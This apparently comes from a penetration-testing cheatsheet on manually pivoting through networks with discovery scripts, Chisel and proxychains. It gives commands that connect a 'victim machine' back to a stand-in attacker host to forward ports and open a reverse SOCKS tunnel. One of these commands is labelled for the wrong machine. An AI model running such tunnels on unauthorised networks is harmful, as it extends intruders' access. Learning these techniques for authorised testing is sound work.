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# Pivoting

Pivoting is a crucial technique in ethical hacking and penetration testing, allowing attackers to extend their reach within a network. The provided Cheatsheet outlines the process of pivoting manually, without relying on tools like Metasploit. Let's break down the steps:

#### 1. Discover Active Machines

* Use the `host_discovery.sh` script to ping all IPs on the specified network.
* Example:

  ```bash
  bash host_discovery.sh 10.10.2
  ```

#### 2. Discover Open Ports

* Utilize the `port_discovery.sh` script to discover open ports on the active machines.
* Example:

  ```bash
  bash port_discovery.sh <IP_ADDRESS>
  ```

#### 3. Port Forwarding with Chisel

* Download and use Chisel for port forwarding. Transfer the Chisel binary to the victim machine.
* On the attacker's machine:

  ```bash
  ./chisel server --reverse -p 1234
  ```
* On the victim machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:80:<TARGET_IP>:80
  ```

#### 4. Tunneling Networks

<figure><img src="/files/1etmL8sgfbLjSjqGurmJ" alt=""><figcaption></figcaption></figure>

* Create a tunnel between networks using Chisel for network pivoting.
* On the attacker's machine:

  ```bash
  ./chisel client <ATTACKER_IP>:1234 R:socks
  ```
* Modify `/etc/proxychains.conf` to use the created tunnel.

<figure><img src="/files/Lp9zUCZ1GAXiNjVEnC3H" alt=""><figcaption><p>uncomment this line</p></figcaption></figure>

<figure><img src="/files/PNLKRbddy8Ik0TVziAn8" alt=""><figcaption><p>in the end of the file</p></figcaption></figure>

<figure><img src="/files/H9GGrKnbBVIc9QiZGcBi" alt=""><figcaption><p>Result</p></figcaption></figure>

#### Automation with Pivoting\_Enum Bash Script

* Transfer and execute the `pivoting.sh` script on the victim machine.
* Example:

  ```bash
  bash pivoting.sh NETWORK
  ```


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